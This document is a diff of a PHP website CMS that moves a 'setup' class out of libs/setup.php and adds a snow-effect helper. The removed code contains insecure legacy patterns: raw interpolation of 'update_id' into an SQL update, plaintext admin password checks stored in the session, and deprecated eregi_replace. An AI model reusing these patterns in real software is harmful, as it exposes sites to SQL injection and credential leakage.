191 | + $sql = "select * from rules where id=? limit 1"; | |
192 | + $row = $this->db->getRow ($sql, array ( | |
193 | + $id | |
194 | + ), DB_FETCHMODE_ASSOC); | |
195 | + $this->tpl->assign ('rules_one', $row); | |
196 | + } | |
197 | + | |
198 | + function linkLang () | |
199 | + { | |
200 | + $REQUEST_URI = substr (str_replace (array ( | |
201 | + "/ukr", | |
202 | + "/ru", | |
203 | + "/eng", | |
204 | + "lang=ukr", | |
205 | + "lang=ru", | |
206 | + "lang=eng" | |
207 | + ), null, $_SERVER['REQUEST_URI']), 1); | |
208 | + /* | |
209 | + * $link_rus = ( preg_match("/(ukr|rus|eng)/i", $_SERVER['REQUEST_URI']) ) ? substr(preg_replace("/(ukr|rus|eng)/i",'',$_SERVER['REQUEST_URI']),1) : 'uvg/'; | |
210 | + * $link_ukr = ( preg_match("/(ukr|rus|eng)/i", $_SERVER['REQUEST_URI']) ) ? substr(preg_replace("/(ukr|rus|eng)/i",'ukr',$_SERVER['REQUEST_URI']),1) : 'uvg/ukr' . $URL; | |
211 | + * $link_eng = ( preg_match("/(ukr|rus|eng)/i", $_SERVER['REQUEST_URI']) ) ? substr(preg_replace("/(ukr|rus|eng)/i",'eng',$_SERVER['REQUEST_URI']),1) : 'uvg/eng' . $URL; | |
212 | + */ | |
213 | + $REQUEST_URI = eregi_replace ("^ucse\/", null, $REQUEST_URI); | |
214 | + $link_ukr = "ukr/" . $REQUEST_URI; | |
215 | + $link_rus = $REQUEST_URI; | |
216 | + | |
217 | + $this->tpl->assign ('link_rus', $link_rus); | |
218 | + $this->tpl->assign ('link_ukr', $link_ukr); | |
219 | + | |
220 | + /* | |
221 | + * $this->tpl->assign('link_rus', 'http://'.$_SERVER['HTTP_HOST'] .'/'. $link_rus ); | |
222 | + * $this->tpl->assign('link_ukr', 'http://'.$_SERVER['HTTP_HOST'] .'/'. $link_ukr ); | |
223 | + * $this->tpl->assign('link_eng', 'http://'.$_SERVER['HTTP_HOST'] .'/'. $link_eng ); | |
224 | + */ | |
225 | + } | |
226 | + | |
227 | + function rulesDelete ($id) | |
228 | + { | |
229 | + $this->tree->delete ($id); | |
230 | + } | |
231 | + | |
232 | + /** | |
233 | + * Çàãðóæàåì ÷òî íàäî äëÿ ñàéòà | |
234 | + */ | |
235 | + function assignMainVars () | |
236 | + { | |
237 | + // ÑÍÅÃ | |
238 | + $objExtra = $this->setupClass ('Extra'); | |
239 | + $SNOW = $objExtra->getStatusIdByName('SNOW') == 1 ? $objExtra->displaySnow() : ''; | |
240 | + | |
241 | + $this->tpl->assign ('SNOW', $SNOW); | |
242 | + } | |
243 | + | |
244 | + function meta () | |
245 | + { | |
246 | + $this->tpl->assign ('meta', $this->meta); | |
247 | + } | |
248 | + | |
249 | + function error () | |
250 | + { | |
251 | + $this->tpl->assign ('error', $this->error); | |
252 | + } | |
253 | + | |
254 | + function displayRules () | |
255 | + { | |
256 | + $this->tpl->assign ('action_modules', $this->db->getAll ("select * from modules", array (), DB_FETCHMODE_ASSOC)); | |
257 | + $this->tpl->assign ('tpl', "rules.tpl"); | |
258 | + } | |
259 | + | |
260 | + function displayAdmin () | |
261 | + { | |
262 | + $this->tpl->display ("admin.tpl"); | |
263 | + } | |
264 | + | |
265 | + function display () | |
266 | + { | |
267 | + $this->tpl->display ("index.tpl"); | |
268 | + } | |
269 | +} | ... | ... |
libs/setup.php
1 | 1 | <?php |
2 | -//set_time_limit(300); | |
3 | - | |
4 | - | |
5 | -setlocale(LC_ALL, "ru_RU.KOI8-R"); | |
6 | - | |
7 | -require($_SERVER['DOCUMENT_ROOT'] . '/config/config.php'); | |
8 | - | |
9 | -require($_SERVER['DOCUMENT_ROOT'] . '/libs/PEAR.php'); | |
10 | - | |
11 | -define('DB_DIR',$_SERVER['DOCUMENT_ROOT'] . "/libs/DB/"); | |
12 | -require($_SERVER['DOCUMENT_ROOT'] . '/libs/DB.php'); | |
13 | -require($_SERVER['DOCUMENT_ROOT'] . '/libs/dbtree.php'); | |
14 | - | |
15 | -define('PAGER_DIR',$_SERVER['DOCUMENT_ROOT'] . "/libs/PAGER/"); | |
16 | -require($_SERVER['DOCUMENT_ROOT'] . '/libs/Pager_Wrapper.php'); | |
17 | - | |
18 | -require($_SERVER['DOCUMENT_ROOT'] . '/libs/functions.php'); | |
19 | -require($_SERVER['DOCUMENT_ROOT'] . '/libs/ffmpeg.php'); | |
20 | -require($_SERVER['DOCUMENT_ROOT'] . '/libs/image.php'); | |
21 | -require($_SERVER['DOCUMENT_ROOT'] . '/libs/PHPMailer/class.phpmailer.php'); | |
22 | -require($_SERVER['DOCUMENT_ROOT'] . '/libs/mail.php'); | |
23 | -require($_SERVER['DOCUMENT_ROOT'] . '/libs/sendMail.php'); | |
24 | - | |
25 | -define('SMARTY_DIR',$_SERVER['DOCUMENT_ROOT'] . "/libs/SMARTY/"); | |
26 | -require($_SERVER['DOCUMENT_ROOT'] . "/libs/Smarty.class.php"); | |
27 | - | |
28 | -require($_SERVER['DOCUMENT_ROOT'] . '/libs/FGetCSV.php'); | |
29 | - | |
30 | -define('HTTP_DIR',$_SERVER['DOCUMENT_ROOT'] . "/libs/HTTP/"); | |
31 | -require($_SERVER['DOCUMENT_ROOT'] . '/libs/Download.php'); | |
32 | - | |
33 | -require($_SERVER['DOCUMENT_ROOT'] . '/libs/cache.class.php'); | |
34 | - | |
35 | - | |
36 | -require($_SERVER['DOCUMENT_ROOT'] . "/libs/statics.class.php"); | |
37 | -require($_SERVER['DOCUMENT_ROOT'] . "/libs/catalogs.class.php"); | |
38 | -require($_SERVER['DOCUMENT_ROOT'] . "/libs/forum.class.php"); | |
39 | -require($_SERVER['DOCUMENT_ROOT'] . "/libs/articles.class.php"); | |
40 | -require($_SERVER['DOCUMENT_ROOT'] . "/libs/news.class.php"); | |
41 | -require($_SERVER['DOCUMENT_ROOT'] . "/libs/advices.class.php"); | |
42 | -require($_SERVER['DOCUMENT_ROOT'] . "/libs/advices2.class.php"); | |
43 | -require($_SERVER['DOCUMENT_ROOT'] . "/libs/gallery.class.php"); | |
44 | -require($_SERVER['DOCUMENT_ROOT'] . "/libs/gallery_list.class.php"); | |
45 | -require($_SERVER['DOCUMENT_ROOT'] . "/libs/orders.class.php"); | |
46 | -require($_SERVER['DOCUMENT_ROOT'] . "/libs/rubrics.class.php"); | |
47 | -require($_SERVER['DOCUMENT_ROOT'] . "/libs/CSLXmlReader.class.php"); | |
48 | -require($_SERVER['DOCUMENT_ROOT'] . "/libs/banners.class.php"); | |
49 | -require($_SERVER['DOCUMENT_ROOT'] . "/libs/video.class.php"); | |
50 | -require($_SERVER['DOCUMENT_ROOT'] . "/libs/akcii.class.php"); | |
51 | -require($_SERVER['DOCUMENT_ROOT'] . "/libs/sale.class.php"); | |
52 | -require($_SERVER['DOCUMENT_ROOT'] . "/libs/promo.class.php"); | |
53 | -require($_SERVER['DOCUMENT_ROOT'] . "/libs/reviews.class.php"); | |
54 | -require($_SERVER['DOCUMENT_ROOT'] . "/libs/book.class.php"); | |
55 | -require($_SERVER['DOCUMENT_ROOT'] . "/libs/url.class.php"); | |
56 | -require($_SERVER['DOCUMENT_ROOT'] . "/libs/reviews2.class.php"); | |
57 | -require($_SERVER['DOCUMENT_ROOT'] . "/libs/vacancy.class.php"); | |
58 | -require($_SERVER['DOCUMENT_ROOT'] . "/libs/fon.class.php"); | |
59 | -require($_SERVER['DOCUMENT_ROOT'] . "/libs/video2.class.php"); | |
60 | -require($_SERVER['DOCUMENT_ROOT'] . "/libs/send.class.php"); | |
61 | - | |
62 | -class setup{ | |
63 | - var $db = null; | |
64 | - var $tpl = null; | |
65 | - var $error = array(); | |
66 | - var $meta = array(); | |
67 | - var $admin = null; | |
68 | - var $rules = "rules"; | |
69 | - var $tree = null; | |
70 | - var $cache = null; | |
71 | - | |
72 | - | |
73 | - function setup($admin = false){ | |
74 | - $this->admin = $admin; | |
75 | - switch($this->admin){ | |
76 | - case false : $template_dir = $_SERVER['DOCUMENT_ROOT'] . '/templates/'; | |
77 | - $compile_dir = $_SERVER['DOCUMENT_ROOT'] . '/templates_c/'; | |
78 | - break; | |
79 | - case true : $template_dir = $_SERVER['DOCUMENT_ROOT'] . '/templates/admin/'; | |
80 | - $compile_dir = $_SERVER['DOCUMENT_ROOT'] . '/templates_c/admin/'; | |
81 | - break; | |
82 | - } | |
83 | - | |
84 | - $connect = "mysql://" . DB_USER . ":" . DB_PSW . "@" . DB_HOST . "/" . DB_BASE; | |
85 | - $this->db = DB::connect($connect); | |
86 | - if (PEAR::isError($this->db)) die($this->db->getMessage()); | |
87 | - $this->db->query("set names cp1251"); | |
88 | - | |
89 | - $this->tree = new CDBTree($this->db, 'rules', 'id'); | |
90 | - | |
91 | - $this->cache = new Cache; | |
92 | - $this->cache->path_cache = $_SERVER['DOCUMENT_ROOT'] . "/cache/sql/"; | |
93 | - | |
94 | - $this->tpl = new Smarty; | |
95 | - $this->tpl->template_dir = $template_dir; | |
96 | - $this->tpl->compile_dir = $compile_dir; | |
97 | - $this->tpl->plugins_dir[] = $_SERVER['DOCUMENT_ROOT'] . '/plugins/'; | |
98 | - } | |
99 | - | |
100 | - function setupClass($nameClass){ | |
101 | - return new $nameClass($this->db,$this->tpl,$this->error,$this->cache); | |
102 | - } | |
103 | - | |
104 | - function isAdminUser($user = array()){ | |
105 | - | |
106 | - if((isset($user['login']) && $user['login']==ADMIN_USER) && (isset($user['psw']) && $user['psw']==ADMIN_PSW)){ | |
107 | - $_SESSION['admin']['login'] = $user['login']; | |
108 | - $_SESSION['admin']['psw'] = $user['psw']; | |
109 | - } | |
110 | - | |
111 | - if((isset($_SESSION['admin']['login']) && $_SESSION['admin']['login']==ADMIN_USER) && (isset($_SESSION['admin']['psw']) && $_SESSION['admin']['psw']==ADMIN_PSW))return true; | |
112 | - | |
113 | - return false; | |
114 | - } | |
115 | - | |
116 | - function AdminUserExit(){ | |
117 | - unset($_SESSION['admin']); | |
118 | - } | |
119 | - | |
120 | - | |
121 | - function getRulesOne($action,$lang = "ru"){ | |
122 | - $sql = "SELECT A.id,A.action,M.modul"; | |
123 | - if($lang=='ukr')$sql .= ",A.name_ukr as name,A.title_ukr as title,A.keywords_ukr as keywords,A.description_ukr as description,A.about_ukr as about"; | |
124 | - else $sql .= ",A.name,A.title,A.keywords,A.description,A.about"; | |
125 | - $sql .= " FROM rules A,modules M WHERE A.action=? AND M.id=A.modul_id limit 1"; | |
126 | - $row = $this->db->getRow($sql,array($action),DB_FETCHMODE_ASSOC); | |
127 | - $this->meta = array("title"=>$row['title'],"keywords"=>$row['keywords'],"description"=>$row['description'],"about"=>$row['about']); | |
128 | - $this->tpl->assign('rules_info_one',$row); | |
129 | - $this->tpl->assign('lang',$lang); | |
130 | - $lang_prefix = ($lang == "ru") ? null : $lang . '/'; | |
131 | - $this->tpl->assign('lang_prefix',$lang_prefix); | |
132 | - return $row; | |
133 | - } | |
134 | - /* | |
135 | - function includesElements(){ | |
136 | - $dir = ($this->admin==true) ? "./includes/admin/" : "./includes/"; | |
137 | - $includes_dir = opendir($dir); | |
138 | - while ( ($inc_file = readdir($includes_dir)) != false ) | |
139 | - if (strstr($inc_file,".php")) | |
140 | - { | |
141 | - include($dir . $inc_file); | |
142 | - } | |
143 | - } */ | |
144 | - | |
145 | - function trim(&$data){ | |
146 | - foreach($data as $key=>$value){ | |
147 | - if(is_array($data[$key]))$this->trim($data[$key]); | |
148 | - else $data[$key] = trim($value); | |
149 | - } | |
150 | - } | |
151 | - | |
152 | - function valid($data){ | |
153 | - if(isset($data['url_action'])){ | |
154 | - if( !preg_match("/^.{1,20}$/i",$data['url_action']) ) $this->error[] = "Îøèáêà ââîäà ïîëÿ (URL - Íàçâàíèå)."; | |
155 | - elseif($data['url_action'] == $this->rules) $this->error[] = "Îøèáêà. Èñïîëüçîâàíèÿ äàííîãî íàçâàíèÿ çàïðåùåíî!"; | |
156 | - } | |
157 | - if(isset($data['name'])){ | |
158 | - if( !preg_match("/^.{1,50}$/i",$data['name']) ) $this->error[] = "Îøèáêà ââîäà ïîëÿ (Íàçâàíèå)."; | |
159 | - } | |
160 | - return ( count($this->error) ) ? true : false; | |
161 | - } | |
162 | - | |
163 | - function rulesSaveAction($data){ | |
164 | - $id = (isset($data['action_id']) && $data['action_id']>0) ? $data['action_id'] : 1; | |
165 | - $fields_values = array( | |
166 | - "parent_id"=>$id | |
167 | - ,"action"=>$data['url_action'] | |
168 | - ,"name"=>$data['name'] | |
169 | - ,"name_ukr"=>$data['name_ukr'] | |
170 | - ,"title"=>$data['title'] | |
171 | - ,"title_ukr"=>$data['title_ukr'] | |
172 | - ,"about"=>$data['about'] | |
173 | - ,"about_ukr"=>$data['about_ukr'] | |
174 | - ,"description"=>$data['description'] | |
175 | - ,"description_ukr"=>$data['description_ukr'] | |
176 | - ,"keywords"=>$data['keywords'] | |
177 | - ,"keywords_ukr"=>$data['keywords_ukr'] | |
178 | - ,"modul_id"=>$data['modul_id'] | |
179 | - ); | |
180 | - if(isset($data['update_id']) && $data['update_id']>0){ | |
181 | - $this->db->autoExecute("rules", $fields_values, DB_AUTOQUERY_UPDATE,"id={$data['update_id']}"); | |
182 | - }else{ | |
183 | - $this->tree->insert($id,$fields_values); | |
184 | - } | |
185 | - } | |
186 | - | |
187 | - function viewRules(){ | |
188 | - $sql = "select * from rules where _level>0 ORDER BY _left"; | |
189 | - $row = $this->db->getAll($sql,array(),DB_FETCHMODE_ASSOC); | |
190 | - $this->tpl->assign('rules',$row); | |
191 | - } | |
192 | - | |
193 | - function viewRulesBegin(){ | |
194 | - $sql = "select * from rules where parent_id=1 ORDER BY _left"; | |
195 | - $row = $this->db->getAll($sql,array(),DB_FETCHMODE_ASSOC); | |
196 | - $this->tpl->assign('rules_begin',$row); | |
197 | - } | |
198 | - | |
199 | - function viewRulesParent($id = 2){ | |
200 | - $sql = "select * from rules where parent_id=? ORDER BY _left"; | |
201 | - $row = $this->db->getAll($sql,array($id),DB_FETCHMODE_ASSOC); | |
202 | - $this->tpl->assign('rules_parent',$row); | |
203 | - } | |
204 | - | |
205 | - function viewOneRules($id){ | |
206 | - $sql = "select * from rules where id=? limit 1"; | |
207 | - $row = $this->db->getRow($sql,array($id),DB_FETCHMODE_ASSOC); | |
208 | - $this->tpl->assign('rules_one',$row); | |
209 | - } | |
210 | - | |
211 | - function linkLang(){ | |
212 | - $REQUEST_URI = substr(str_replace(array("/ukr","/ru","/eng","lang=ukr","lang=ru","lang=eng"),null,$_SERVER['REQUEST_URI']),1); | |
213 | - /* | |
214 | - $link_rus = ( preg_match("/(ukr|rus|eng)/i", $_SERVER['REQUEST_URI']) ) ? substr(preg_replace("/(ukr|rus|eng)/i",'',$_SERVER['REQUEST_URI']),1) : 'uvg/'; | |
215 | - $link_ukr = ( preg_match("/(ukr|rus|eng)/i", $_SERVER['REQUEST_URI']) ) ? substr(preg_replace("/(ukr|rus|eng)/i",'ukr',$_SERVER['REQUEST_URI']),1) : 'uvg/ukr' . $URL; | |
216 | - $link_eng = ( preg_match("/(ukr|rus|eng)/i", $_SERVER['REQUEST_URI']) ) ? substr(preg_replace("/(ukr|rus|eng)/i",'eng',$_SERVER['REQUEST_URI']),1) : 'uvg/eng' . $URL; | |
217 | - */ | |
218 | - $REQUEST_URI = eregi_replace("^ucse\/", null, $REQUEST_URI); | |
219 | - $link_ukr = "ukr/" . $REQUEST_URI; | |
220 | - $link_rus = $REQUEST_URI; | |
221 | - | |
222 | - $this->tpl->assign('link_rus', $link_rus ); | |
223 | - $this->tpl->assign('link_ukr', $link_ukr ); | |
224 | - | |
225 | - /* | |
226 | - $this->tpl->assign('link_rus', 'http://'.$_SERVER['HTTP_HOST'] .'/'. $link_rus ); | |
227 | - $this->tpl->assign('link_ukr', 'http://'.$_SERVER['HTTP_HOST'] .'/'. $link_ukr ); | |
228 | - $this->tpl->assign('link_eng', 'http://'.$_SERVER['HTTP_HOST'] .'/'. $link_eng ); | |
229 | - */ | |
230 | - } | |
231 | - | |
232 | - function rulesDelete($id){ | |
233 | - $this->tree->delete($id); | |
234 | - } | |
235 | - | |
236 | - function meta(){ | |
237 | - $this->tpl->assign('meta',$this->meta); | |
238 | - } | |
239 | - | |
240 | - function error(){ | |
241 | - $this->tpl->assign('error',$this->error); | |
242 | - } | |
243 | - | |
244 | - function displayRules(){ | |
245 | - $this->tpl->assign('action_modules',$this->db->getAll("select * from modules",array(),DB_FETCHMODE_ASSOC)); | |
246 | - $this->tpl->assign('tpl',"rules.tpl"); | |
247 | - } | |
248 | - | |
249 | - function displayAdmin(){ | |
250 | - $this->tpl->display("admin.tpl"); | |
251 | - } | |
252 | - | |
253 | - function display(){ | |
254 | - $this->tpl->display("index.tpl"); | |
255 | - } | |
256 | - | |
257 | -} | |
258 | - | |
2 | +// set_time_limit(300); | |
3 | +setlocale (LC_ALL, "ru_RU.KOI8-R"); | |
4 | + | |
5 | +define ('DB_DIR', $_SERVER['DOCUMENT_ROOT'] . "/libs/DB/"); | |
6 | +define ('PAGER_DIR', $_SERVER['DOCUMENT_ROOT'] . "/libs/PAGER/"); | |
7 | +define ('SMARTY_DIR', $_SERVER['DOCUMENT_ROOT'] . "/libs/SMARTY/"); | |
8 | +define ('HTTP_DIR', $_SERVER['DOCUMENT_ROOT'] . "/libs/HTTP/"); | |
9 | + | |
10 | +require ($_SERVER['DOCUMENT_ROOT'] . '/config/config.php'); | |
11 | +require ($_SERVER['DOCUMENT_ROOT'] . '/libs/PEAR.php'); | |
12 | +require ($_SERVER['DOCUMENT_ROOT'] . '/libs/DB.php'); | |
13 | +require ($_SERVER['DOCUMENT_ROOT'] . '/libs/dbtree.php'); | |
14 | +require ($_SERVER['DOCUMENT_ROOT'] . '/libs/Pager_Wrapper.php'); | |
15 | +require ($_SERVER['DOCUMENT_ROOT'] . '/libs/functions.php'); | |
16 | +require ($_SERVER['DOCUMENT_ROOT'] . '/libs/ffmpeg.php'); | |
17 | +require ($_SERVER['DOCUMENT_ROOT'] . '/libs/image.php'); | |
18 | +require ($_SERVER['DOCUMENT_ROOT'] . '/libs/PHPMailer/class.phpmailer.php'); | |
19 | +require ($_SERVER['DOCUMENT_ROOT'] . '/libs/mail.php'); | |
20 | +require ($_SERVER['DOCUMENT_ROOT'] . '/libs/sendMail.php'); | |
21 | +require ($_SERVER['DOCUMENT_ROOT'] . "/libs/Smarty.class.php"); | |
22 | +require ($_SERVER['DOCUMENT_ROOT'] . '/libs/FGetCSV.php'); | |
23 | +require ($_SERVER['DOCUMENT_ROOT'] . '/libs/Download.php'); | |
24 | +require ($_SERVER['DOCUMENT_ROOT'] . '/libs/cache.class.php'); | |
25 | +require ($_SERVER['DOCUMENT_ROOT'] . "/libs/statics.class.php"); | |
26 | +require ($_SERVER['DOCUMENT_ROOT'] . "/libs/catalogs.class.php"); | |
27 | +require ($_SERVER['DOCUMENT_ROOT'] . "/libs/forum.class.php"); | |
28 | +require ($_SERVER['DOCUMENT_ROOT'] . "/libs/articles.class.php"); | |
29 | +require ($_SERVER['DOCUMENT_ROOT'] . "/libs/news.class.php"); | |
30 | +require ($_SERVER['DOCUMENT_ROOT'] . "/libs/advices.class.php"); | |
31 | +require ($_SERVER['DOCUMENT_ROOT'] . "/libs/advices2.class.php"); | |
32 | +require ($_SERVER['DOCUMENT_ROOT'] . "/libs/gallery.class.php"); | |
33 | +require ($_SERVER['DOCUMENT_ROOT'] . "/libs/gallery_list.class.php"); | |
34 | +require ($_SERVER['DOCUMENT_ROOT'] . "/libs/orders.class.php"); | |
35 | +require ($_SERVER['DOCUMENT_ROOT'] . "/libs/rubrics.class.php"); | |
36 | +require ($_SERVER['DOCUMENT_ROOT'] . "/libs/CSLXmlReader.class.php"); | |
37 | +require ($_SERVER['DOCUMENT_ROOT'] . "/libs/banners.class.php"); | |
38 | +require ($_SERVER['DOCUMENT_ROOT'] . "/libs/video.class.php"); | |
39 | +require ($_SERVER['DOCUMENT_ROOT'] . "/libs/akcii.class.php"); | |
40 | +require ($_SERVER['DOCUMENT_ROOT'] . "/libs/sale.class.php"); | |
41 | +require ($_SERVER['DOCUMENT_ROOT'] . "/libs/promo.class.php"); | |
42 | +require ($_SERVER['DOCUMENT_ROOT'] . "/libs/reviews.class.php"); | |
43 | +require ($_SERVER['DOCUMENT_ROOT'] . "/libs/book.class.php"); | |
44 | +require ($_SERVER['DOCUMENT_ROOT'] . "/libs/url.class.php"); | |
45 | +require ($_SERVER['DOCUMENT_ROOT'] . "/libs/reviews2.class.php"); | |
46 | +require ($_SERVER['DOCUMENT_ROOT'] . "/libs/vacancy.class.php"); | |
47 | +require ($_SERVER['DOCUMENT_ROOT'] . "/libs/fon.class.php"); | |
48 | +require ($_SERVER['DOCUMENT_ROOT'] . "/libs/video2.class.php"); | |
49 | +require ($_SERVER['DOCUMENT_ROOT'] . "/libs/send.class.php"); | |
50 | +require ($_SERVER['DOCUMENT_ROOT'] . "/libs/extra.class.php"); | |
51 | +require ($_SERVER['DOCUMENT_ROOT'] . "/libs/setup.class.php"); | |
259 | 52 | ?> |
260 | 53 | \ No newline at end of file | ... | ... |